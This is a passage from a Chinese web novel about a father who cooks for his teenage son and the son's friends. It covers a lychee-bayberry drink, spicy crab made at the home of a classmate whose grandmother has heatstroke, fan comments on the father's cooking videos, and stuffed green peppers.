“对不起。”胡一齐随口道个歉就自顾自说起来，“其实我妈离婚后，我心里一直想着她只有我这个儿子，我得给她当依靠……” 某方面来说，他或许不是接受不了妈妈找新对象，而是忽然有些迷茫，以及觉得自己好像不被需要的难受。 估计从回到云市时他心里就一直憋着情绪，此时找到倾诉的机会，说得根本停不下来。 其他三人没有打断他，也没有插话，就这么安静听着。楚瑾钰心里更是不自觉联想到他爸身上，代入一下，如果他爸现在找个对象准备结婚，他感觉自己大概能理解胡一齐的心情。 “天要下雨，娘要嫁人，这都是没办法的事，假如我爸现在要结婚，我可能也有点不舒服，但想想他为了我这么多年没再找，现在我长大了，他真想再找个伴也能理解。” 楚瑾钰话落，叶其林忍不住看他两眼，觉得他可真没有安慰人的天赋，人家正难受，他说什么“天要下雨，娘要嫁人”，简直哪壶不开提哪壶。 “可惜我妈找的太早了，不然她要是跟楚爸在一起，我绝对举双手赞成。”胡一齐抓重点能力也是挺绝。 “你还真想把我爸变成你爸啊？我只是打个比方，又没说我爸真要再婚。” 四人就着各自家长的话题一通瞎聊，等到真睡着时都不知道是几点。 次日，他们睡到下午三点多才起床，商时贸和叶其林最先回家，胡一齐则是表示反正都要交两晚房费，他决定再住一晚。 最后，楚瑾钰自己搭了个车回家，洗完澡换上居家服在房间里补觉。 “吃饭了。” 楚易文怕他下午睡太久晚上睡不着，晚饭做好就敲门喊他起来吃饭。 晚饭是卷凉皮，有火鸡面和牛肉两种馅，桌上还放着用玻璃盆装的荔枝杨梅饮，看起来颜色特别漂亮。 杨梅煮出来的紫红色汤看起来就令人口舌生津，配上杨梅和荔枝特有的甜香，楚瑾钰来到餐桌前顾不上先吃凉皮卷，直接盛了碗饮子喝起来。 杨梅的酸韵被荔枝的甜蜜中和，加上冰糖的清甜，整体口感甜而不腻，特别清爽。 喝着酸甜开胃，清爽解暑的荔枝杨梅饮，楚瑾钰熬夜后原本有点晕乎乎的脑袋都变得精神起来，边喝边夸好喝。不光汤好喝，里面荔枝肉和杨梅吃起来同样别有一番风味。 楚易文今天早上出门卖菜时看到有杨梅和荔枝，觉得挺新鲜就买了点，直接收获荔枝杨梅饮食谱。两种水果直接吃就很美味，做成饮料味道更是特别好，他自己做完就当场喝了一大碗。 “爸，这杨梅里应该没虫吧？” 一碗荔枝杨梅饮下肚，楚瑾钰才后知后觉想起来这个问题。 “放心，我洗干净了。” 楚瑾钰闻言这才放心地盛第二碗，随即拿出手机拍照片发到群里馋人。 【给我留点，我明天过去喝。】 【这是荔枝杨梅饮？做得真漂亮。】 成功馋到他们后，楚瑾钰放下手机开始吃卷凉皮。被荔枝杨梅饮喝开胃后，他吃得那叫一个香，双手捧着凉皮卷大口大口咬着，十分钟不到就吃完一个。 吃到第三个凉皮卷时，他速度终于慢下来，不知道是不是昨晚跟胡一齐聊得太上头，此时他嘴比脑子快地来了句：“爸，你要是想再婚的话，我不反对。” 昨天他跟胡一齐聊到最后，二人达成共识，都觉得作为孩子，他们不能太自私。 楚易文听到儿子突然来这么一句，差点没被嘴里的卷凉皮给呛到，端起荔枝杨梅饮喝两口，将嘴里食物顺下去才问：“我再婚？跟谁？” 他简直莫名其妙。 “你想跟谁就跟谁，只要你喜欢，我都没意见。” “我没那个想法，你有那闲工夫赶紧把暑假作业做完，别想这些压根没谱的事。”楚易文感觉很无语。 见他爸说没用再婚的想法，楚瑾钰虽然知道不太好，但心里莫名有点高兴。 “哦。”他应了一声，低头继续啃卷凉皮。 第二天，楚瑾钰做暑假作业都明显更有干劲一些，在叶其林他们过来前，他都已经写完半张卷子。 “楚爸，我也想喝荔枝杨梅饮！我从家里拿了荔枝和杨梅！” 不光叶其林带了荔枝和杨梅，商时贸跟胡一齐同样没空手，都拎着不少东西。 “来就来，不用拿东西。”类似的话楚易文已经说过不知道多少遍，但几个孩子每次该带还是带。 现在时间还早，见他们想喝，楚易文直接去厨房把荔枝杨梅饮煮出来，随即才出去买菜。 码头菜市场主要是卖蔬菜比较多，想着家里没什么肉了，他去完码头菜市场，又去附近另外一个大菜市场买肉。 买完菜准备回家时，车子开到某个路口，他看到辆熟悉的三轮车，下意识放慢车速，就见三轮车旁，邵言易奶奶正脸色有些难看地坐在地上。 他感觉有些不对劲，赶紧靠边停车：“婶子，你怎么了？” “没事，就是头有点晕，歇会就好。” 楚易文感觉她有点像中暑，赶紧把人先扶到树荫下，又从车上拿了水和解暑药给她。 喝完解暑药和水，邵言易奶奶脸色明显好很多，楚易文放下心来：“天太热了，你要卖菜的话得挑凉快时出门……” 老太太哪不知道这个道理，只是想到孙子再有一年就要上大学，总想着多攒点钱。 “还难受吗？难受的话我就送你去医院。”楚易文说话的同时给儿子发消息，让他联系他同学。 老一辈人都节俭，邵言易奶奶听到去医院，想都不想直接摇头，表示自己现在已经不难受，不用去医院。 家里，楚瑾钰得知邵言易奶奶在路边中暑被他爸碰见，直接喊上叶其林三人一起出门。 那个路口离他们家很近，四人打个车，十来分钟就到现场。 “奶奶你没事吧？” 胡一齐开口关心时，楚瑾钰则是小声和他爸说：“邵言易没手机，联系不到他，而且他好像去打暑假工了……” 老太太不肯去医院，楚易文看她脸色已经恢复正常，于是道：“那我送你回家。” 至于三轮车，他看向自家儿子：“你能把三轮车骑回去吗？” “没问题。”楚瑾钰觉得两个轮子的自行车他都会骑，三个轮子那不是更简单。 他说完直接坐上三轮车，踩了几脚骑给他爸看。 “哎呦，真是麻烦你们了。” 邵言易奶奶很不好意思，但她这会手脚还有些发软，让她自己把三轮车骑回去，还真有点困难，只能接受他们的好意。 原本三轮车只用一个人骑，其他人可以坐车，但楚瑾钰非要胡一齐他们都陪自己一起，于是最终变成楚易文带着老太太在前面开车，四个孩子骑三轮车跟在后面。 三轮车看起来比自行车好骑，但真上手时，楚瑾钰发现拐弯有点不顺手，差点翻车。 “你怎么回事？不行下来让我骑。”胡一齐吓得直接从三轮车上跳下来，生怕他把自己摔着。 楚瑾钰：“还不是你那么重，非要坐车上。” 四个孩子打打闹闹，好歹成功把三轮车骑回邵言易家。 邵言易家在一条老巷子里，房子是个看起来特别有年代感的两层小平房。 刚到家，老太太就开口：“正好早上有人送了好多螃蟹，中午你们一起在家里吃饭。” 附近都是认识十几二十年的老邻居，知道他们家困难，平常都挺照顾他们，螃蟹正是隔壁卖水产的邻居送的。 “不用。”楚易文下意识拒绝，老太太却是再三挽留，他想到老太太刚中暑，中午再自己做饭，怕是要更难受，于是改口道，“也行，正好我刚买的菜，中午我来做。” “那不行，哪有让客人上门做饭的道理。”老太太摇头。 楚易文：“几个孩子都是同学，也不算客人，你别客气了，再客气我们就走了。” “奶奶你别客气，你看我们就很不客气，经常去楚瑾钰家蹭饭。” “对啊，奶奶你让楚爸做吧，他做饭好吃。” 双方互相客气一通后，最终还是老太太妥协，带着几分不好意思领他们去厨房。 房子很旧，但里面被收拾得很干净，尤其是厨房，锅碗瓢盆都摆放得很整齐。 “这螃蟹你会做吗？小娟说这是什么六月螃蟹，洗干净用豆瓣酱炒着好吃。”老太太拎着塑料桶走到楚易文面前。 “是六月黄，还没完全长成的螃蟹，做香辣蟹会比较好吃，婶子你能吃辣吗？”楚易文望着桶里还算鲜活的螃蟹道。 老太太点头：“能。” “那就好，这里有几个孩子帮忙，你先去歇会，中暑可不是闹着玩的。” 楚易文话落，老太太还想留在厨房帮忙，胡一齐特别有眼力见地过来扶着她往外走：“奶奶走吧……” 他小时候就特别会哄外公外婆开心，此时拿出曾经的几分手段，很容易就哄着老太太跟他离开。 “瑾钰，你去买点调料回来。” 楚瑾钰正好奇地打量着邵言易的家时，就听见他爸的声音，点头后拉着叶其林一起出去买调料。 至于商时贸，也没闲着，在厨房里帮忙洗菜，剥大蒜。 想着老年人牙口没那么好，楚易文拿出一块五花肉准备配上土豆和鹌鹑蛋做个红烧肉。 邵言易家厨房是双灶台，但只有一个锅，而且看起来用了好久，他干脆给儿子打个电话，让儿子除了调料再买个锅回来。 等待调料和新锅时楚易文也没闲着，处理好五花肉后先把红烧肉炖上。 “爸，东西买回来了。” 调料随便哪个小店都有，锅就有点麻烦，楚瑾钰跟叶其林跑了几个地方，回来时头上都有点冒汗。 邵言易家连空调都没有，他们把东西放到厨房，只能在大堂里吹风扇。 把新锅开好锅，楚易文又做了个蒜苔炒肉、番茄炒蛋、平菇肉片汤、辣子鸡丁、清炒油麦菜，最后才开始做香辣蟹。 螃蟹处理干净后他用刀切成两半，在切口处裹上淀粉，往锅里倒点油先将裹着淀粉的地方煎一下定型，这样待会炒的时候，蟹黄不会流出来，吃起来会更鲜。 所有螃蟹都煎过一遍后，已经有蟹鲜味飘出来，楚易文开始炒料，随着花椒、干辣椒等调料下锅，一股麻辣刺激的香味源源不断从厨房飘出来。 炒料的香味有点呛，不过等闻习惯后却是格外香，尤其是那股麻辣味，光是闻着就让人嘴巴不自觉分泌津液。 等到酱料被炒好，裹好边的螃蟹下锅时，随着楚易文几个翻炒，更加浓郁的香味顺着窗户、门口飘出去，简直能馋死个人。 邵言易刚走进自家巷子就闻见特别诱人的菜香，有点好奇是谁家饭菜的香味。 等走到家门口时，发现香味好像是从自己家飘出来，他心里冒出个问号。 “邵言易你回来了！正好马上就能吃饭了！” 胡一齐最先注意到他的身影，想到马上就能吃饭，声音里透着欢快。 “你怎么在……”邵言易话还没说完就发现不光是他，还有楚瑾钰三人。 楚瑾钰：“我爸上午出去买菜时发现你奶奶在路边中暑了，就把她送回家，你奶奶太客气，非要留我们在家里吃饭。” 邵言易听到奶奶中暑，脸上瞬间露出着急的表情，赶紧往厨房里跑。 “奶奶你没事……”他跑进厨房才发现，里面压根没有奶奶，只有楚瑾钰爸爸。 跟最开始见到他时比起来，楚易文如今心态已经很平和：“你奶奶没事，我给她喝了药，她现在在房间里休息。” “谢谢叔叔，今天真是麻烦你了。” 邵言易都不敢想他奶奶那么大年纪，在街上中暑没人管会是什么后果，说完朝他深深鞠了个躬。 楚易文赶紧伸手扶他：“不用客气，举手之劳的事，谁看到都会帮忙。” 说完锅里螃蟹也差不多烧好，他对着外面喊道：“可以吃饭了。” “来了！” 提起吃饭，最积极的绝对是胡一齐，撒腿就跑进厨房。 他边端菜还不忘提醒邵言易：“要吃饭了，赶紧去喊你奶奶。” 自从父母去世后，家里很少有这么热闹的时候，邵言易忍不住在厨房里多看两眼，随即才出去喊人。 老太太本来只是准备躺会，没想到直接睡着，被孙子喊醒时忍不住拍着大腿道：“哎呦，人老了，不中用了，躺下来就睡着了……” “奶奶，我不是说让你别在太阳大时出去卖菜，你怎么总是不听。”邵言易望着自家奶奶，表情有些严肃。 “我是准备回家，没想到今天这么热……” 邵言易看到奶奶低下头不敢看自己，心里忍不住叹气：“我暑假两个月能挣不少钱，加上高考后还有三个月时间，攒够学费肯定没问题，你暑假不许再卖菜了，等天凉快时，我绝对不阻止。” 由于家里还有客人在，他没说太多，很快就跟奶奶一起从房间里出来。 见菜已经上桌，邵言易赶紧小跑进厨房，拿出之前自己买的新筷子洗干净。 终于开饭后，老太太望着桌上的菜对着楚易文好一通夸：“得亏有你在，不然这螃蟹我还真做不来。” 桌上每道菜都色香味俱全，但最吸引人的绝对是那道香辣蟹。金黄的螃蟹上挂着红亮的汤汁，尤其是切口处裹淀粉的地方，淀粉里吸收不少蟹黄，被油煎过后散发出焦香和蟹鲜味，看着就让人想咬上去。 “谢谢叔叔，谢谢你们。”动筷子前，邵言易起身给他们每人倒了杯饮料再次表示感谢。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 60-70 第61章 青椒酿肉 胡一齐已经被桌上香辣蟹馋得口水快要流下来, 怕邵言易谢来谢去耽误吃饭，干脆拿筷子先往两位长辈碗中各夹一个香辣蟹：“奶奶吃螃蟹，楚爸吃螃蟹。” 他这招确实不错, 原本听到孙子说话，想要跟着再谢几句的老太太被碗里螃蟹转移注意力，立刻开口招呼他们吃饭。 胡一齐才不会客气，两位长辈碗里都有了，立刻给自己夹个螃蟹，直接咬上切口处。 螃蟹侧面的切口裹着淀粉，煎制过程中少许有蟹黄和淀粉融合在一起, 等到炒制时，原本煎得微焦的淀粉蟹黄混合物吸收汤汁，由焦脆变得绵软。 六月黄螃蟹蟹黄不算特别饱满, 但是多少有一些，吃起来那叫一个香。 “太好吃了！”胡一齐感受着蟹黄的香味，以及干辣椒和花椒在味蕾上蔓延开来的气息, 瞬间就爱上这道香辣蟹。 楚易文处理螃蟹时很细心，已经将不能吃的蟹鳃、蟹胃等部位去除, 此时吃起来很方便，直接啃就行，只要有肉的地方都能吃。 吃完蟹黄部分，胡一齐脸上带着几分意犹未尽, 开始继续啃蟹肉，蟹肉紧实弹牙，食材本身的鲜甜和汤汁的麻辣鲜香融合在一起，越吃越香。 何止是他，邵言易同样觉得香辣蟹很美味, 不过他边吃边关注自家奶奶，提醒她将蟹壳吐出来。 六月黄螃蟹本身就还没完全长成，蟹壳不是特别硬，尤其是楚易文烧之前还先煎过，让蟹壳变得酥脆。老太太以前没吃过螃蟹，见蟹壳能咬动就没舍得吐，听到孙子的话开口道：“怪不得他们都爱吃螃蟹，确实好吃，就是肉不多。” 螃蟹的鲜和肉鲜不同，但却吃得人有些上瘾。 “等以后我给你买肉多的大螃蟹吃。”邵言易立刻小声回应。 老太太闻言，脸上瞬间就露出慈祥的笑容。 楚易文望着祖孙二人间的温情，觉得不怪梦中老太太去世后他会疯狂报复。 螃蟹个头不算大，螃蟹腿里肉并不饱满，但配上绝佳的调味，啃起来却特别带劲。楚瑾钰正啃着蟹腿，余光忽然瞧见自家老爸的眼神，不由道：“爸，以后我也买大螃蟹给你吃。” 楚易文可不缺什么大螃蟹吃，闻言夹块红烧肉放他碗里，示意他少说话，多吃菜。 香辣蟹好吃，但吃起来有点费事，以至于开吃后桌上大多数时间都很安静，大家全在跟螃蟹壳较劲。 螃蟹肉不多，但它的鲜甜加上调料咸、鲜、香、麻、辣的滋味，吃起来却是令人上瘾，根本停不下来。 可能是螃蟹吃起来有点费嘴，也或许是见几个孩子爱吃，老太太吃完碗里胡一齐和孙子给夹的那两个就停下来，开始吃其他菜。 桌上除了香辣蟹，最吸引人的就是那盘红烧肉，被炒出漂亮焦糖色的红烧肉中搭配着黄色的土豆，白色的鹌鹑蛋，散发出浓郁肉香。 在老一辈人眼中，红烧肉可是大菜，以前只有过年才能吃着。老太太伸手夹起一块，肉皮软糯，肥肉入口即化，就连瘦肉吃起来都酥烂不费牙，那甜咸适中的调味和咀嚼时在味蕾上蔓延开来的酱香气息，更是令人回味无穷。 “这红烧肉做得真好吃，你们多吃点红烧肉。”老太太吃着觉得好，立刻招呼孩子们吃。 胡一齐咽下嘴里蟹肉道：“楚爸做的红烧肉确实好吃，奶奶你多吃点。” 他跟楚瑾钰几人没少吃红烧肉，此时还是更放不下手里的香辣蟹，毕竟这玩意别看肉不多，但吃得就是那个滋味，简直越啃越上头。 倒是邵言易，听到奶奶夸红烧肉，伸出筷子夹到碗中，吃进嘴时发现肥肉部分竟然一点都不腻，反而满满都是油脂香，越吃越喜欢。 不光红烧肉好吃，肉里的土豆吸收肉汤，吃起来同样美味，还有里面的鹌鹑蛋，一口一个，咀嚼起来既有蛋香还有肉香。 香辣蟹老太太吃起来还有点费劲，但红烧肉却是特别适合她吃，平常她总想把好的留给孙子吃，今天在红烧肉的诱惑下，她却是不自觉多吃了几块。 难得看到奶奶有那么喜欢的菜，邵言易在她去吃其他菜时，特意又给她夹两块。 半大小子，吃垮老子，有楚瑾钰他们五个在，哪怕桌上菜分量并不少，午饭结束时依旧被一扫而空。 今天这顿午饭可谓是吃得宾主尽欢，等到楚易文他们准备走时，老太太还一个劲留他们在家里坐会。 楚瑾钰跟胡一齐想着回家就得继续写作业，还不如留在这，在他们俩的暗暗配合下，最终楚易文还是没走成。 至于邵言易，他想到奶奶中暑有点不放心，本来准备下午请假在家里陪她，但老太太却表示自己没事，不用他请假。 暑假工临时请假其实不太好，见奶奶吃完午饭后看起来精神确实挺好，他这才出门去上班。 他走后，楚易文坐在大堂陪老太太闲聊，知道她天天去卖菜是为了给孙子攒大学学费，告诉她上大学可以申请助学贷，而且以她孙子的成绩，还可以拿奖学金。 老太太并不懂这些，听到他耐心解释完这些，压在心里的重担都瞬间放下不少。 “奶奶你放心，邵言易可是学霸，等高考时他要是继续考个第一名，说不定一堆大学不收学费都要抢他过去读书。”叶其林道。 楚瑾钰赞同地点头。 四人家庭条件都很好，今天来到邵言易家，才知道原来还有人家里连空调都没有。他们想到今年夏天那么热，代入一下自己，简直无法想象，这种天气没空调吹晚上怎么睡得着。 下午两点左右，看出老太太面色有些疲倦，楚易文再次提出告辞。这次老太太没再阻拦他们，不过却是从家里拿了不少菜硬是塞到车上。 “都是自己种的，又不值几个钱。” “奶奶你错了，现在自己种的才值钱呢。”楚瑾钰道。 胡一齐：“对啊，自己种的吃着才放心，外面卖的谁知道打了多少药，会不会重金属超标……” 听到孩子们夸自己种的菜好，老太太恨不得将家里的菜都塞进车里，但楚易文哪肯要，意思意思收下两袋就赶紧开车走人。 车子刚开到大路上，坐在副驾驶上的楚瑾钰就忍不住转头看他爸：“爸，你是不是更想要邵言易那样的儿子？” “你怎么会有这种想法？”楚易文有些诧异。 “因为我发现只要他在时，你总是在看他。” 楚瑾钰平时看起来跟胡一齐一样大大咧咧，没想到有时候还挺敏感，甚至指出不光今天，之前六一公益活动和他生日时都有。 “他是你同桌，加上我正巧认识他奶奶，多看两眼不是很正常。”楚易文不可能实话实说，只能找理由。 楚瑾钰总感觉他爸没说实话，侧头盯着他看，试图从他脸上看出什么。 “我要是当爸的，我也喜欢邵言易那种儿子，成绩又好，暑假还会自己去赚钱。”胡一齐忍不住插话。 楚瑾钰闻言，立刻转头看向他：“人家可不想要你这种爸，又懒又馋，还不会赚钱。” “你自己还不是又懒又馋……” 楚易文见说着说着他们俩又开始拌嘴，有些好笑。 回到家，楚易文看到摊在桌上的暑假作业，顺口问：“今天作业写多少了？” 听到作业就头疼的楚瑾钰开口道：“有点累，我先去睡个午觉再做作业。” “我也困了，一起去。”胡一齐立刻附和。 叶其林见此，干脆拉上商时贸一起回房间。 楚易文望着他们瞬间消失的背影，无奈地摇摇头，将带回来的菜先放进厨房里去，随即回书房剪视频去。 这两天他攒下不少视频素材，正好天气热也不适合出去钓鱼，干脆全部给剪出来。 今天在邵言易家做饭他没拍视频，最终用库存素材剪了个荔枝杨梅饮，还有豆芽胡萝卜丝炒撒子。 豆芽胡萝卜丝炒撒子是在豆芽炒撒子的基础上加入胡萝卜丝，整道菜颜色更加明艳，口感更加丰富，几个孩子都特别喜欢。 视频发出去时，网友们看着紫红色的荔枝杨梅饮，以及飘在汤中的荔枝和杨梅，喝着屏幕就开始口舌生津，恨不得能喝上一大碗。 【好漂亮的小饮料，想喝，但是不想自己动手……】 【家里有杨梅，有荔枝，就缺个会做荔枝杨梅饮的人了。】 【刚刚拿着荔枝、杨梅去喊了我妈，我妈让我滚（叹气）】 【自己动手丰衣足食，正好家里有荔枝，现在就去整点杨梅回来自己做！】 不光荔枝杨梅饮勾起很多网友自己动手的想法，在看到豆芽胡萝卜丝炒撒子这道有点新奇，网友们更是跃跃欲试。 【撒子是什么？没听说过，不过既然是要脆的口感，那用麻花是不是也可以？】 【既然麻花可以，那锅巴是不是也可以，正好家里有豆芽和胡萝卜！】 【脆脆的？薯片也很脆，正好家里有好多吃不完快过期的薯片，晚上就让我妈拿去炒两个菜。】 【啥？薯片那么好吃，竟然有人会放到过期？不吃给我吃啊！我最爱吃薯片了！】 【哈哈哈哈，博主要是看到评论区，估计能被你们气死，人家教的是豆芽胡萝卜炒撒子，你们倒好，哈哈哈哈……】 楚易文倒是没气死，甚至他有点好奇，网友们到底是认真的，还是在开玩笑。 以前他发视频时，经常会有粉丝在评论区发交作业的图片，今天他忽然就有点期待这个环节。 视频是下午发出去的，晚上临睡前，楚易文特意打开软件，荔枝杨梅饮视频下有好多粉丝@他收作业，有些做得还挺好，味道怎么样先不说，卖相看起来是真漂亮。 当然，翻车的也有，甚至楚易文都搞不懂，为什么有人能把荔枝杨梅饮煮成中药色，看起来就令人食欲全无。 他平常在评论区都是以鼓励为煮，今天实在没忍住，给那碗中药版荔枝杨梅饮回复了一句“做得很好，下次别做了”。 看完荔枝杨梅饮评论区，他又顺手点进豆芽胡萝卜丝炒撒子，发现还真有人交作业。被其他粉丝顶到最前排的同样是黑暗料理——豆芽胡萝卜丝炒薯片。 其实正常来说，豆芽加胡萝卜加薯片这个组合新奇是新奇了点，但应该没到黑暗料理的地步，可耐不住做的人有毒啊，薯片完全被炒成糊糊，跟豆芽、胡萝卜丝黏在一起，看起来就令人食欲全无。 楚易文忍不住抬手捂住眼睛，觉得这纯粹是在糟蹋东西。 好在他继续往下看时，倒是有网友用麻花替代撒子，炒出来的菜看着还不错。 其实这道菜本身吃的就是反差感，蔬菜的爽脆和撒子的酥脆是第一重反差，撒子表面湿润和内部的脆是二重。用麻花替代撒子，做起来更加简单，因为麻花比较厚实，哪怕火候把握得没那么好，它也不容易被炒软。 【交作业，豆芽胡萝卜炒麻花［图片］豆芽和胡萝卜丝的爽脆配上麻花的酥脆，吃起来特别香，我本来只是随便做做，没想到家里人都很爱吃，等过几天再买点撒子回来试试。】 【看起来确实不错，几种颜色搭配在一起还挺漂亮，有点想试试了。】 【我不爱吃醋，如果不放醋好吃吗？】 醋是这道菜的关键，正是淋下来的那圈锅边醋才会让整道菜吃起来特别开胃，同时醋的酸香还能中和撒子的油腻，起到解腻、提鲜、增香的作用。 楚易文打字回复不爱吃醋的粉丝，表示醋是这道菜的灵魂，而且由于是锅边醋，高温蒸发下，醋酸味不会太尖锐，融合在整道菜中，吃起来其实不会很酸。 夏天本来就需要些开胃的美食，听到楚易文的描述，不少粉丝都直接将豆芽胡萝卜丝炒撒子加入收藏夹，至于是自己做还是叫家里人做，那就看情况了。 时间飞逝，转眼就进入八月下旬，离开学已经只剩一个多星期。 “这日子到底什么时候是个头啊……” 楚瑾钰还没有写完作业，想到很快就要开学，有种时间被人偷走的感觉。 “赶紧写吧，早点写完说不定还能玩几天。” 楚易文看到他趴在桌上呐喊的模样，觉得谁让之前喊他每天做一点时他不做，同时有点小愉悦，觉得还好自己早就毕业，不用再写作业。 “我不想写了……” 楚瑾钰感觉暑假作业跟会繁殖一样，明明天天在做，却根本做不完。 “胡一齐他们做完没？没做完喊他们过来跟你一起做。”楚易文提议。 暑假天气热，加上可能是家里人管着，胡一齐三人已经有好几天没过来蹭饭。 “商时贸昨天晚上在群里说，他已经做完了！”楚瑾钰语气里透着羡慕嫉妒，简直恨不得跟他换一下。 “那不是还有胡一齐和叶其林可以陪你。”楚易文说完见他还是趴在桌上，开口道，“好了好了，快叫胡一齐他们过来吧，中午我给你们做菠萝咕咾肉吃。” 他有时候觉得自己是不是太惯着儿子，写个作业还得哄着。不过想到儿子如今跟自己关系越来越亲近，有什么心里话也愿意直接说出来，觉得自己最开始要的不就是这个，便不再纠结，而是出门买菜去。 目送他离开，楚瑾钰伸手从桌上拿起手机，在群里发了条“中午有菠萝咕咾肉，想吃速来”的消息后，继续趴桌上休息，准备等他们来了再一起写作业。 听到有菠萝咕咾肉吃，三人很快就都过来，叶其林和胡一齐背着书包，商时贸则是只带了手机。 “羡慕你，要是我作业也做完了，都不敢想我现在有多快乐。”楚瑾钰望着商时贸说。 商时贸：“我上补课班时你怎么不羡慕？” 趁着楚易文去买菜还没回来，四人先拿手机打了两把游戏，用楚瑾钰的话来说，要先用游戏提提神才有精神写作业。 不得不说，这招还挺管用，两把游戏结束，楚瑾钰那叫一个精神啊，被游戏里的队友都要给气红温了。 “有毒吧，非要抢射手就算了，还全程不参团……” “暑假是这样，小学生都放假了，什么妖魔鬼怪都有。” 吐槽着游戏里遇到的队友，三人终于开始写作业，至于商时贸，写作业三人组见不得他悠闲的样子，把他赶到沙发那边去。 商时贸无所谓，坐在沙发上玩手机，直到楚易文回来，才起身去厨房帮忙。 “来。”楚易文将切好的菠萝拿一块给他吃，随即才继续去处理食材。 商时贸接过菠萝小口小口吃着，他不缺一块水果，但这种带着长辈偏爱的行为，却让他很受用。 等帮忙洗完菜，剥完蒜，他依旧没有从厨房离开的打算，反而拿起支架上的手机，帮忙拍视频。 楚易文边做菜边随口跟他闲聊：“辣椒你爱吃吗？” “别人做的一般，楚爸你做的喜欢吃。”商时贸长相是那种看起来有点酷酷的，放校园文里得是狂拽校霸型主角，平常在几个孩子里，数他话最少，此时说起这种甜言蜜语，倒是挺有反差。 楚易文听到他这么说不由笑了一下，边剁肉馅边道：“青椒今天换个花样吃，做青椒酿肉。” 那次拿到“厨王”奖牌获取家常菜谱后，他学会好多新菜，青椒酿肉一直还没做过，正好今天去买菜时，摊子上青椒特别好，适合拿来做这道菜。 “听起来就很好吃，中午我得多吃点。”商时贸捧场道。 “好。” 如果说最开始时，楚易文还因为那个梦对商时贸他们有偏见，但随着相处下来，他真是越来越喜欢几个孩子。 米饭已经蒸上，冬瓜排骨汤也已经炖上，楚易文开始炒菜。 他先做红烧鸡翅，又炸了一盘孩子们都爱吃的香酥刀鱼，当炸鱼香味飘出去时，胡一齐闻着味就过来，偷吃几条鱼才心满意足地继续去写作业。 “你也不知道给我带两条。”楚瑾钰说完亲自跑了趟厨房，不光偷鱼吃，走的时候还带了几块菠萝。 楚易文又不瞎，当然看见，只是懒得去说他们。 鸡翅和鱼做好，他又切了两条黄瓜做蓑衣黄瓜，等把黄瓜放到冷藏柜中让它更入味时，开始做菠萝咕咾肉。 酸甜口的菠萝咕咾肉很适合夏天吃，清爽的菠萝香和肉香混在一起，还没吃就已经很开胃。 菠萝咕咾肉出锅，楚易文转身将刚刚已经处理好的青椒内部拍点干淀粉，随即将提前调好的肉馅塞进去。 肉馅里他放了香菇丁、马蹄碎，塞进青椒里后两种颜色互相映衬，看起来还挺漂亮。 填好肉馅，楚易文开始起锅烧油，六成油温时先将塞肉馅的两端先煎一下，这样定好型，后面肉馅就不容易从青椒里脱落，影响口感。 随着小火慢煎，青椒表面被煎出漂亮的“虎皮”，同时青椒特有的清香混着肉香飘出去。 “好香，是辣椒炒肉吗？”闻见青椒特有的香味，叶其林下意识想到青椒炒肉。 楚瑾钰：“这一闻就不是青椒炒肉。” 他说完就扯着嗓子喊：“爸，爸你在做什么菜？” “青椒酿肉，你们收拾东西洗手，马上可以吃饭了。” 楚易文说完最后给锅里青椒酿肉翻个面，将煎好的青椒酿肉推到旁边，用余油将蒜末下锅爆香，随即加入生抽、老抽、蚝油等调料轻轻翻炒上色。 青椒裹上酱色，再加清水焖煮一会，让青椒酿肉更加入味就可以出锅。 听到他说可以吃饭时，楚瑾钰三人就立刻丢下笔起身，洗完手就钻进厨房，显然是多写一秒作业都不愿意。 “哇！又是一顿大餐！还是楚爸你做的菜香，看着就美味！”胡一齐望着厨房里色香味俱全的午餐夸道。 美食能令人身心愉悦，还没开始吃，几个写作业写到痛苦的人脸上就露出笑容，积极地端菜端饭。 第62章 水煮花生 “哇塞, 这个青椒酿肉看着就特别好吃！” 饭菜全部上桌，胡一齐望着那盘青椒酿肉夸道。只见盘子里青椒被煎出虎皮纹，看起来翠绿中带着金黄, 两端露出的肉馅焦黄油亮，卖相十分诱人。 青椒特有的清香混着肉香、焦香、酱香组成令人垂涎欲滴的香气，让人迫不及待想要品尝。 楚瑾钰四人不约而同将筷子伸向青椒酿肉，轻轻一咬，肉馅先落进嘴里，鲜嫩多汁的肉馅吃起来格外香，再多嚼两下, 青椒和肉馅融合在一起，青椒内里已经被焖得软糯入味，表皮却还带着微微爽脆, 吃起来口感特别丰富。 青椒酿肉要用肉稍微厚点的青椒做才好吃，青椒本身的辣意融进肉中，让整道菜吃起来咸鲜中带着丝辣意, 吃起来又美味又下饭。 “好吃。”胡一齐夸完扒了两口饭，随即又夹一条青椒酿肉放到碗里, 看得出来是真爱吃。 楚瑾钰：“没想到辣椒不光能炒肉，还能用来酿肉，就是不够辣，感觉再辣点会更香。” “这还不辣？”商时贸听到他说不辣, 微微吸口气后抬头看过来。 四个孩子里数他最不能吃辣，半个青椒酿肉下肚，他感觉舌尖上已经弥漫起带着刺激性的辣意。 楚瑾钰：“对我来说算微微辣。” “那是你能吃辣，我感觉这辣椒有点辣。”商时贸说完，端起汤碗去盛冬瓜排骨汤。 冬瓜排骨汤很适合夏天喝, 不过被辣到后喝温热的汤可不是什么好主意，他轻抿两口汤，热意让嘴里辣味更加明显。 “吃点菠萝咕咾肉。”楚易文觉得今天买的辣椒不辣，见商时贸被辣到喝汤，赶紧用公筷给他夹了点能解辣的菠萝咕咾肉。 酸甜口菠萝咕咾肉开胃又解腻，同时解辣效果也还不错，商时贸吃完感觉嘴里没那么辣，不过望着碗里青椒酿肉，又有点想吃。 这次他没敢大口吃，而是咬一小口配上米饭一起吃，总算没那么辣。 “我怎么感觉你越来越不能吃辣了。”楚瑾钰大口咀嚼着青椒酿肉，带着几分嘲笑对商时贸说。 商时贸懒得理他，在心里记下一笔后继续吃饭。 人多吃饭就是香，大家你一筷子我一筷子，很快桌上菜就逐渐变少。楚易文还在吃时几个孩子倒是稍微收敛些，等到他吃完放下碗筷，他们立刻就开始抢起来。 “一人一半！” 胡一齐和楚瑾钰同时夹住最后那条青椒酿肉，谁也不让谁。 青椒韧性还挺足，想用筷子分两半还真没那么容易，趁着他们两个抢青椒酿肉时，叶其林连夹好几筷子香酥小刀鱼到自己碗中。 “好了好了，我去拿剪刀过来给你们分。”楚易文眼见儿子和胡一齐要用筷子打起来，去拿厨房剪刀过来将青椒酿肉一分为二。 青椒酿肉最先被吃完，很快香酥小刀鱼、菠萝咕咾肉，一个个盘子被他们扫空，最终只剩冬瓜排骨汤没喝完。没办法，楚易文顿的汤实在太多，他们倒是想喝完，但肚子实在装不下。 